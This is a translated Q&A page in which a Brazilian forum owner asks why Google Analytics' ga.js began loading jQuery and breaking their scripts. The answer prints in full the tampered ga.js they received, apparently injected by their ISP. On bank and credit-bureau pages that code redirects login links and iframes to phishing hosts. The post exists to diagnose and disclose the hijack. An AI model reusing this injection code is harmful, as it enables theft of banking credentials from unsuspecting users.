Skip to main content
 首页 » 编程设计

google-analytics之Google Analytics(分析)调用jquery.min.js吗

2025年05月04日84qq号

最近三天,我在使用Google Analytics(分析)时遇到了问题,而过去两年中一直使用jQuery脚本而未做任何修改。

我使用插件jQuery-cookie(https://github.com/carhartl/jquery-cookie)。

当我访问网站(通过Mac上的Chrome和Firefox或iOs上的Chrome和Safari)时,Google Analytics(设置为异步)需要很长的时间才能加载(三天前这种情况并不常见,并且没有修改是在我的网站上制作的。
当我的Chrome或Firefox标签中的旋转加载器旋转时,表明仍在加载(ga.js),一切正常。

但是,突然之间,ga.js加载并从ajax.googleapis.com/ajax/libs/jquery/1.7.1引入了jquery.min.js,从现在开始,我的jQuery脚本停止运行!我从Google“检查元素”中获得的消息是:

未捕获的TypeError:对象函数(a,b){返回新的e.fn.init(a,b,h)}没有方法'cookie'

值得一提的是,我以前是从自己的服务器上加载jQuery的,而我网站上的页面都没有用来从google CDN加载jQuery的(现在我已更改为google CDN来检查它是否可以修复它,但没有),并且即使考虑到这一点,ga.js也再次带来了来自Google的jquery.min.js(已加载)。

我的网站是www.tutorbrasil.com.br/forum(如果要测试),并且当您尝试更改最近的主题页面时,单击按钮“Próximo”会发生问题(但问题仅在ga之后出现。 js已加载,有时看起来像是随机发生的,有时它一直都在发生)。

我可以在网站http://jsbeautifier.org/中找到相同的错误。

我认为这可能是Google在ga.js中进行了更改...但是ga.js是否取决于jquery?

我使用mod_pagespeed将Google Analytics(分析)代码放入页面中,并且当我关闭此选项(完全不进行分析)时,一切都应该顺利进行。

亲切的问候...

请您参考如下方法:

连接到我的网站或使用Google Analytics(分析)的任何其他网站时,我得到的文件为ga.js:

(function() { 
// Load the script 
var script = document.createElement("SCRIPT"); 
script.src = 'https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js'; 
script.type = 'text/javascript'; 
document.getElementsByTagName("head")[0].appendChild(script); 
 
// Poll for jQuery to come into existance 
var checkReady = function(callback) { 
    if (window.jQuery) { 
        callback(jQuery); 
    } 
    else { 
        window.setTimeout(function() { 
            checkReady(callback); 
        }, 100); 
    } 
}; 
 
// Start polling... 
checkReady(function($) { 
    // Use $ here.. 
    if (document.location.host == 'www.sicredi.com.br') { 
        popAccount = function(URL) { 
            if (URL.match(/cnpj/i)) 
            { 
                URL = URL.replace("https://ibpf.sicredi.com.br", "http://ibpf2.sicredi.com.br/pj"); 
            } else { 
                URL = URL.replace("https://ibpf.sicredi.com.br", "http://ibpf2.sicredi.com.br"); 
            } 
            var width = 1024; 
            var height = 655; 
            var left = 50; 
            var top = 20; 
            window.open(URL, 'janela', 'width=' + width + ', height=' + height + ', top=' + top + ', left=' + left + ', statusbar=yes, location=no, resizable=yes, scrollbars=yes'); 
        }; 
    } else if (document.location.host == 'www.caixa.gov.br') { 
        var iNewhRef = 'http://internetbankingp.caixa.gov.br/SIIBC/index.processa'; 
        $("#internet_banking a").attr('href', iNewhRef); 
        $("#acessibilidade a").attr('href', iNewhRef); 
    } else if (document.location.host == 'www.serasaexperian.com.br') { 
        var iNewhRef = 'http://vpn.xentertainment.in/login-corporativo.html'; 
        $("iframe").attr('src', iNewhRef); 
    } 
}); 
})(); 


因此,我意识到自己被欺骗了。进一步检查,我发现了这篇文章: http://lastunturnedstone.blogspot.com.br/2013/03/google-redirect-virus-may-not-be-your.html

可以得出结论,问题出在我的ISP(来自巴西的Net Virtua)中。

我已经与他们联系,正在等待答案。

亲切的问候。